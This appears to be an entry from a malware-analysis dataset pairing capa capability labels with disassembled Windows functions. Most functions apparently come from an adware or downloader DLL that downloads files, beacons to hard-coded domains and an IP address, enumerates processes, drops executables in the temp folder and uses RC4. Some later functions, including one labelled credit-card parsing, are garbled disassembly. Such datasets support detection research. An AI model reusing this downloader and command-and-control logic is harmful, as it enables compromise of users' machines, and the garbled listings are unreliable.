joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005a2d
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
push esi
push edi
mov esi, str.Accept:___r_n_r_n
lea edi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 8], 0xff
and dword [ebp - 0x80], 0
push 0
push 0
push 0
push 1
push 0x1000b27c
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10005a72
xor eax, eax
jmp 0x10005b78
push 0x4000000
push 0x4000000
push 0
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jne 0x10005aab
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x10005b78
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0xffffffff
jne 0x10005ae5
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x10005b78
lea eax, [ebp - 0x80]
push eax
push 0x32
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x88]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x10005b18
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x90]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x10005b78
cmp dword [ebp - 0x80], 0
jne 0x10005b20
jmp 0x10005b60
push 0
lea eax, [ebp - 0x8c]
push eax
push dword [ebp - 0x80]
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x90]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10005b59
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x90]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x10005b78
push 1
pop eax
test eax, eax
jne 0x10005ae5
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x90]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
leave
ret

Function at 0x10005b7c
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
mov eax, dword [ebp - 4]
and eax, 1
test eax, eax
je 0x10005b9b
push 1
pop eax
jmp 0x10005b9d
xor eax, eax
leave
ret
Function at 0x10005b9f
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd40
mov dword [ebp - 0x2a0], 0x113
and dword [ebp - 0xc30], 0
and dword [ebp - 0xc2c], 0
mov dword [ebp - 0xd40], 1
mov dword [ebp - 0x118], 4
mov dword [ebp - 0x114], 1
and dword [ebp - 0xd3c], 0
and dword [ebp - 0xbe0], 0
and dword [ebp - 0xc28], 0
and dword [ebp - 4], 0
and dword [ebp - 0xbdc], 0
mov dword [ebp - 0x10], 1
push dword [ebp + 0xc]
call fcn.10005267
pop ecx
and dword [ebp - 0xbd8], 0
jmp 0x10005c24
mov eax, dword [ebp - 0xbd8]
inc eax
mov dword [ebp - 0xbd8], eax
cmp dword [ebp - 0xbd8], 0x2710
jae 0x10005c68
push 0
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
mov eax, dword [ebp - 0x29c]
and eax, 0x20
mov dword [ebp - 0xd38], eax
cmp dword [ebp - 0xd38], 0
je 0x10005c64
push 0x1d4c0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10005c66
jmp 0x10005c68
jmp 0x10005c17
push 1
call fcn.10007c4a
pop ecx
test eax, eax
jne 0x10005c7b
xor eax, eax
jmp 0x10005e01
lea eax, [ebp - 0xc24]
push eax
call fcn.10005682
pop ecx
and byte [ebp - 0xbe4], 0
cmp dword [0x1000b140], 0
jne 0x10005cdd
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0xc24]
push eax
call fcn.10005b7c
push eax
push dword [0x1000e7a0]
push 0x113
push dword [0x1000a6e0]
push dword [0x1000a6dc]
push dword [ebp + 8]
push str.http:___s_search.php_q_d._d._d._d._d._s.1._d
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x28
jmp 0x10005d20
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0xc24]
push eax
call fcn.10005b7c
push eax
push dword [0x1000e7a0]
push 0x113
push dword [0x1000a6e0]
push dword [0x1000a6dc]
push dword [ebp + 8]
push str.http:___s_dupe.php_q_d._d._d._d._d._s.1._d
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x28
push dword [0x1000a6e0]
push dword [0x1000a6dc]
push str._d_d
lea eax, [ebp - 0x2d4]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [ebp - 0x2d4]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov dword [ebp - 0xbdc], eax
lea eax, [ebp - 0xbe0]
push eax
push 1
lea eax, [ebp - 0x110]
push eax
call fcn.10007e10
add esp, 0xc
mov dword [ebp - 0xc28], eax
cmp dword [ebp - 0xbe0], 0xa
jbe 0x10005ddc
push dword [ebp - 0xbdc]
lea eax, [ebp - 0x2d4]
push eax
lea eax, [ebp - 0xd34]
push eax
call fcn.10007a90
add esp, 0xc
push dword [ebp - 0xbe0]
push dword [ebp - 0xc28]
lea eax, [ebp - 0xd34]
push eax
call fcn.10007b61
add esp, 0xc
push dword [ebp - 0xbe0]
push dword [ebp - 0xc28]
call fcn.10007349
pop ecx
pop ecx
test eax, eax
je 0x10005dd3
call fcn.10008219
push 1
pop eax
jmp 0x10005e01
call fcn.10008219
xor eax, eax
jmp 0x10005e01
cmp dword [ebp - 0xc28], 0
je 0x10005dfa
push dword [ebp - 0xc28]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
call fcn.10008219
xor eax, eax
leave
ret
Function at 0x10005e03
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x64
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov dword [0x1000b12c], eax
and dword [ebp - 8], 0
jmp 0x10005e24
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x14
jae 0x10005e41
push 0x32
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov ecx, dword [ebp - 8]
mov edx, dword [0x1000b12c]
mov dword [edx + ecx*4], eax
jmp 0x10005e1d
push str.www2.megawebfind.com
mov eax, dword [0x1000b12c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.www2.megawebdeals.com
mov eax, dword [0x1000b12c]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.122.141.86.12
mov eax, dword [0x1000b12c]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [0x1000b12c]
and dword [eax + 0xc], 0
push 0x400
lea eax, [ebp - 0xc]
push eax
call fcn.100051dc
pop ecx
pop ecx
cmp eax, 0xffffffff
jne 0x10005e9c
jmp 0x10005f33
push 1
pop eax
test eax, eax
je 0x10005f29
and dword [ebp - 8], 0
mov eax, dword [ebp - 8]
mov ecx, dword [0x1000b12c]
cmp dword [ecx + eax*4], 0
jne 0x10005ec0
and dword [ebp - 4], 0
jmp 0x10005f12
push dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov ecx, dword [0x1000b12c]
mov eax, dword [ecx + eax*4]
mov dword [ebp - 0x10], eax
push dword [ebp - 0x10]
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
call fcn.10005b9f
pop ecx
pop ecx
test eax, eax
je 0x10005efa
cmp dword [0x1000b140], 0
je 0x10005ef8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x10005f12
cmp dword [0x1000b140], 0
je 0x10005f0b
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 1
pop eax
test eax, eax
jne 0x10005eab
mov eax, dword [0x1000a6d8]
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10005e9c
lea eax, [ebp - 0xc]
push eax
call fcn.1000519a
pop ecx
leave
ret
Function at 0x100061b7
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
and dword [ebp - 0x130], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0xffffffff
jne 0x100061f6
push dword [ebp - 0x134]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
jmp 0x100062c7
mov dword [ebp - 0x128], 0x128
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x134]
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x1000622d
push dword [ebp - 0x134]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
jmp 0x100062c7
and dword [ebp - 0x12c], 0
jmp 0x10006243
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x12c]
cmp eax, dword [0x1000e7a4]
jae 0x1000629b
lea eax, [ebp - 0x104]
push eax
call fcn.10006bfe
pop ecx
mov eax, dword [ebp - 0x12c]
imul eax, eax, 0x44
add eax, 0x1000b280
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x10006299
mov eax, dword [ebp - 0x12c]
imul eax, eax, 0x44
mov ecx, dword [0x1000e7a0]
or ecx, dword [eax + 0x1000b2c0]
mov dword [0x1000e7a0], ecx
jmp 0x10006236
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x134]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000622d
push dword [ebp - 0x134]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
leave
ret
Function at 0x100070a1
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push 0x1000ac68
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x408]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x10007188
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor ecx, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10007129
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
push str._s_u.exe
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
lea eax, [ebp - 0x808]
push eax
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x10007139
push dword [ebp + 8]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x408]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x80c], eax
cmp dword [ebp - 0x80c], 0xffffffff
je 0x10007183
mov eax, dword [ebp - 0x80c]
jmp 0x10007229
jmp 0x10007226
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor ecx, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x100071c7
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
push str._s_d.exe
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
jmp 0x100071df
push dword [ebp + 8]
push str._s.exe
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x408]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x80c], eax
cmp dword [ebp - 0x80c], 0xffffffff
je 0x10007226
mov eax, dword [ebp - 0x80c]
jmp 0x10007229
or eax, 0xffffffff
leave
ret
Function at 0x10007a13
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], 0xedb88320
mov dword [ebp - 8], 0
jmp 0x10007a32
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x100
jge 0x10007a89
mov ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 8
jmp 0x10007a53
mov edx, dword [ebp - 0xc]
sub edx, 1
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 0
jle 0x10007a7a
mov eax, dword [ebp - 4]
and eax, 1
test eax, eax
je 0x10007a70
mov ecx, dword [ebp - 4]
shr ecx, 1
xor ecx, dword [ebp - 0x10]
mov dword [ebp - 4], ecx
jmp 0x10007a78
mov edx, dword [ebp - 4]
shr edx, 1
mov dword [ebp - 4], edx
jmp 0x10007a4a
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [eax*4 + 0x1000e7ac], ecx
jmp 0x10007a29
mov esp, ebp
pop ebp
ret

Function at 0x10007b61
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
xor ecx, ecx
mov cl, byte [eax + 0x100]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 8]
xor eax, eax
mov al, byte [edx + 0x101]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
mov dword [ebp - 0x14], 0
jmp 0x10007b9b
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0x10]
jge 0x10007c2e
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
xor ecx, ecx
mov cl, byte [eax]
mov edx, dword [ebp - 0x10]
add edx, ecx
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
and eax, 0xff
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0xc]
xor edx, edx
mov dl, byte [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x10]
mov dl, byte [ecx]
mov byte [eax], dl
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x10]
mov cl, byte [ebp - 4]
mov byte [eax], cl
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0xc]
xor eax, eax
mov al, byte [edx]
add eax, dword [ebp - 4]
and eax, 0xff
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 8]
mov cl, byte [ecx]
xor cl, byte [edx + eax]
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0x14]
mov byte [edx], cl
jmp 0x10007b92
mov eax, dword [ebp + 8]
mov cl, byte [ebp - 0x10]
mov byte [eax + 0x101], cl
mov edx, dword [ebp + 8]
mov al, byte [ebp - 0xc]
mov byte [edx + 0x100], al
mov esp, ebp
pop ebp
ret
Function at 0x10007c4a
Capabilities:
Initialize iwebbrowser2

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
and dword [ebp - 4], 0
push 0x1000ebac
push 0x1000a6b8
push 5
push 0
push 0x1000a6a8
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jl 0x10007c83
cmp dword [0x1000ebac], 0
jne 0x10007c88
or eax, 0xffffffff
jmp 0x10007cd2
cmp dword [ebp + 8], 0
je 0x10007cba
push 0
mov eax, dword [0x1000ebac]
mov eax, dword [eax]
push dword [0x1000ebac]
call dword [eax + 0xa4]
push 0xffffffffffffffff
mov eax, dword [0x1000ebac]
mov eax, dword [eax]
push dword [0x1000ebac]
call dword [eax + 0xf0]
jmp 0x10007ccf
push 0xffffffffffffffff
mov eax, dword [0x1000ebac]
mov eax, dword [eax]
push dword [0x1000ebac]
call dword [eax + 0xa4]
push 1
pop eax
leave
ret

Function at 0x10007cd4
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [0x1000ebac]
mov eax, dword [eax]
push dword [0x1000ebac]
call dword [eax + 0xe0]
test eax, eax
jl 0x10007d48
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 8]
cmp eax, 0x258
jle 0x10007d35
xor eax, eax
jmp 0x10007d4a
cmp dword [ebp - 4], 1
je 0x10007d46
cmp dword [ebp - 4], 3
je 0x10007d46
push 1
pop eax
jmp 0x10007d4a
jmp 0x10007cec
xor eax, eax
leave
ret

Function at 0x1000814b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 4], 0
and dword [ebp - 8], 0
and dword [ebp - 0xc], 0
or dword [ebp - 0x14], 0xffffffff
and dword [ebp - 0x10], 0
cmp dword [ebp + 8], 0
je 0x10008171
cmp dword [ebp + 0xc], 0
jne 0x10008179
or eax, 0xffffffff
jmp 0x10008217
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 8]
call fcn.10007e10
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10008198
xor eax, eax
jmp 0x10008217
push 0
push 0
push 1
push 0
push 0
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x100081bf
or dword [ebp - 0xc], 0xffffffff
jmp 0x10008215
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 4]
je 0x100081e2
or dword [ebp - 0xc], 0xffffffff
jmp 0x100081e9
mov dword [ebp - 0xc], 1
cmp dword [ebp - 8], 0
je 0x10008201
push dword [ebp - 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [ebp - 0x14], 0xffffffff
je 0x10008210
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
jmp 0x10008217
jmp 0x100081e9
leave
ret
Function at 0x402880
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
or eax, 0xffffffff
mov word [ebp - 0xc], ax
push ebx
xor ecx, ecx
mov eax, 0x65
xor ebx, ebx
mov dword [ebp - 0x1c], eax
mov edx, 2
mul edx
seto cl
push esi
push edi
mov dword [ebp - 0x20], ebx
neg ecx
test byte [eax + 0x54], dh
add al, byte [eax]
invalid
invalid
and al, 0x85
mov esp, 0x8d0040b5
dec ecx
add byte [ebx - 0x62ffbd80], cl
mov ch, 0x40
add byte [eax + 0x5e004280], bl
mov ch, 0x40
add byte [esi - 0x4b], bl
inc eax
add byte [esi], ch
add dword [edx], case.0x40b5b2.5
cwde
add byte [edx], 152
add byte [edx], 0xb3
add byte [edx], 0xcc
int3
add byte [ebx - 0x3ba7208], cl
push eax
push esi
push 0x104
push edi
call dword [0x482324]
call fcn.00410290
push edi
invalid
invalid
invalid
Function at 0x40f5c0
Capabilities:
Read file on windows

Disassembly:
adc al, ch
out 0xed, al
add byte [eax], al
add esp, 4
test eax, eax
je 0x426826
mov ebx, dword [ebx]
mov edx, dword [ebx]
mov dword [eax], edx
mov ecx, dword [ebx + 4]
mov dword [eax + 4], ecx
mov edx, dword [ebx + 8]
mov dword [eax + 8], edx
mov ebx, dword [ebx + 0xc]
mov dword [eax + 0xc], ebx
inc dword [ebx]
mov dword [esi], eax
mov eax, dword [edi + 8]
mov ecx, dword [edi + 4]
mov dword [ecx + eax*4], esi
inc dword [edi + 8]
pop esi
pop ebx
ret
push ebp
mov ebp, esp
mov eax, 0x10020
call fcn.00422240
xor eax, eax
nop
mov cl, byte [eax + 0x4921a0]
mov dl, byte [eax + 0x492198]
mov byte [ebp + eax - 0x20], cl
mov byte [ebp + eax - 0x18], dl
inc eax
cmp eax, 8
jl 0x40f5d0
lea eax, [ebp - 8]
push 0x488140
push eax
call fcn.00413650
push 4
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x10]
push edx
call fcn.00410e60
add esp, 0x14
push ebx
push esi
mov dword [ebp - 0xc], 0
push edi
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
push 0x10000
lea edx, [ebp - 0x10020]
push 1
push edx
call fcn.00414d04
add esp, 0x10
cmp eax, 0x18
jl 0x40f691
mov edi, eax
lea esi, [edi - 0x14]
test esi, esi
jle 0x40f660
xor edx, edx
xor ecx, ecx
mov bl, byte [ebp + ecx - 0x20]
lea eax, [ecx + edx]
cmp bl, byte [ebp + eax - 0x10020]
je 0x40f67e
cmp ecx, 0x14
je 0x425d1e
add word [eax], ax
inc edx
cmp edx, esi
jl 0x40f640
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
lea edx, [ecx + edi - 0x14]
cmp esp, ebp
mov ecx, dword [eax]
push 1
push 0xffffffffffffffec
push ecx
mov dword [ebp - 0xc], edx
call fcn.004150d1
add esp, 0xc
jmp 0x40f614
mov bl, byte [ebp + ecx - 0x1f]
lea eax, [ecx + edx]
cmp bl, byte [ebp + eax - 0x1001f]
je 0x40f69f
inc ecx
jmp 0x40f652
mov eax, 3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov bl, byte [ebp + ecx - 0x1e]
lea eax, [ecx + edx]
cmp bl, byte [ebp + eax - 0x1001e]
je 0x40f6b4
add ecx, 2
jmp 0x40f652
mov bl, byte [ebp + ecx - 0x1d]
lea eax, [ecx + edx]
cmp bl, byte [ebp + eax - 0x1001d]
jne 0x425d16
mov bl, byte [ebp + ecx - 0x1c]
lea eax, [ecx + edx]
cmp bl, byte [ebp + eax - 0x1001c]
je 0x425d05
add ecx, 4
jmp 0x40f652
push esi
mov esi, eax
lea ecx, [esi + 0x49c]
call fcn.00401cb0
mov dword [esi + 0x49c], 0x4851c8
lea eax, [esi + 0x4a0]
pop esi
jmp 0x410a30
mov eax, dword [eax + 4]
test eax, eax
jne 0x42684c
ret
mov eax, 0xb4e6e851
invalid
jmp 0x410a00
cmp ecx, 0x14
jl 0x40f658
jmp 0x40f668
invalid
add al, 0xe9
cdq
mov edi, 0x3ddfffd
fstp qword [esi]
jmp 0x4027eb

Function at 0x40f820
Capabilities:
Hash data with md5

Disassembly:
push 8
lea eax, [esi + 0x44]
push 0
push eax
call fcn.00412f40
add esp, 0xc
mov dword [esi + 0x34], 0x67452301
mov dword [esi + 0x38], 0xefcdab89
mov dword [esi + 0x3c], 0x98badcfe
mov dword [esi + 0x40], 0x10325476
ret
Function at 0x432297
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
and al, 0x45
or byte [ebx + 0x4a7540], ah
mov edx, 0x66682501
mov eax, 0x4a7540
push edi
mov ecx, dword [eax]
mov edi, ecx
shr edi, 0x1e
xor edi, ecx
imul edi, edi, 0x6c078965
add edi, edx
mov dword [eax + 4], edi
add eax, 4
inc edx
cmp eax, 0x4a7efc
jl 0x4322ad
mov dword [0xff1e205c], 0x70ff1868
mov dword [0x4a7f10], 0x7454e801
pop edi
pop ebp
ret
Function at 0x43ff69
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
and al, 0x45
or byte [edi], cl
mov dh, 8
movzx edx, byte [ecx + 0x4861d0]
push ebx
push esi
push edi
push 1
push 0
add edx, eax
push 0
push edx
call fcn.0042f288
mov esi, eax
add esp, 0x10
cmp esi, dword [ebp + 0xc]
jae 0x4401f3
nop
movzx ebx, byte [esi]
cmp ebx, 0x58
jne 0x43ffc2
jmp 0x43ffa9
movzx eax, byte [esi + 1]
movzx ecx, byte [esi + 2]
shl eax, 8
or eax, ecx
add esi, eax
cmp byte [esi], 0x54
je 0x43ffa9
jmp 0x714301cd
cmp ebx, 0x69
je 0x714301ae
cmp ebx, 0x6a
je 0x714301ae
cmp ebx, 0x76
je 0x714301ae
cmp ebx, 0x52
jne 0x440041
movzx edi, byte [esi + 1]
movzx edx, byte [esi + 2]
mov eax, dword [ebp + 0x14]
shl edi, 8
or edi, edx
add edi, dword [eax + 0x14]
movzx ecx, byte [edi + 1]
movzx edx, byte [edi + 2]
shl ecx, 8
or ecx, edx
je 0x749801f3
nop
mov eax, dword [ebp + 0x14]
xor byte [ebp + 0x10], cl
mov edx, dword [ebp + 0xc]
push eax
push ecx
push edx
push edi
call fcn.0043ff69
add esp, 0x10
test eax, eax
jne 0x4401d0
movzx eax, byte [edi + 1]
movzx ecx, byte [edi + 2]
shl eax, 8
or eax, ecx
add edi, eax
cmp byte [edi], 0x54
je 0x440009
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
cmp ebx, 0x5e
je 0x7143014a
cmp ebx, 0x5f
je 0x7143194a
cmp ebx, 0x5d
je 0x7143194a
cmp ebx, 0x60
je 0x7143194a
lea eax, [ebx - 6]
cmp eax, 0x6b
ja 0x4401d0
movzx edx, byte [eax + 0x70440213]
jmp dword [edx*4 + 0x4401e7]
movzx ecx, byte [ebx + 0x4861d0]
push 1
push 0
add ecx, esi
push 0
push ecx
call fcn.0042f288
mov esi, eax
add esp, 0x10
cmp esi, dword [ebp + 0xc]
jb 0x43ff99
pop edi
pop esi
mov ebp, dword [eax + 0x18]
push dword [eax + 0x5b]
pop ebp
ret

Function at 0x442e22
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
cmp dword [0x4a7f10], 0
push esi
push edi
mov esi, 0x4a7540
jne 0x442e42
push 0
call fcn.004148c9
push eax
call fcn.00432297
adc dword [ebx - 0x73], 0xffffffc7
add eax, 0x49205c
jo 0x442e4c
mov dword [0x49205c], 0x270
add byte [eax], al
mov dword [0x4a753c], esi
mov edx, 0xe3
mov ecx, dword [esi + 4]
mov edi, dword [esi]
mov al, cl
and al, 1
movzx eax, al
neg eax
sbb eax, eax
xor edi, ecx
and edi, 0x7ffffffe
xor edi, dword [esi]
and eax, 0x9908b0df
shr edi, 1
xor edi, dword [esi + 0x634]
add esi, 4
xor edi, eax
dec edx
mov dword [esi - 4], edi
jne 0x442e57
mov edx, 0x18c
lea esp, [esp]
mov ecx, dword [esi + 4]
mov edi, dword [esi]
mov al, cl
and al, 1
movzx eax, al
neg eax
sbb eax, eax
xor edi, ecx
and edi, 0x7ffffffe
xor edi, dword [esi]
and eax, 0x9908b0df
shr edi, 1
xor edi, dword [esi - 0x38c]
add esi, 4
xor edi, eax
dec edx
mov dword [esi - 4], edi
jne 0x442e92
mov ecx, dword [0x4a7540]
mov dl, cl
and dl, 1
movzx eax, dl
mov edx, dword [esi]
neg eax
sbb eax, eax
xor edx, ecx
and edx, 0x7ffffffe
xor edx, dword [esi]
and eax, 0x9908b0df
shr edx, 1
xor edx, dword [esi - 0x38c]
pop edi
xor edx, eax
mov dword [esi], edx
pop esi
ret
Function at 0x44b32f
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
dec edx
add byte [ebx + 0x4c18301], cl
mov dword [0x4a753c], ecx
mov ecx, eax
shr ecx, 0xb
xor eax, ecx
mov edx, eax
and edx, 0xff3a58ad
shl edx, 7
xor eax, edx
mov ecx, eax
and ecx, 0xffffdf8c
shl ecx, 0xf
xor eax, ecx
mov edx, eax
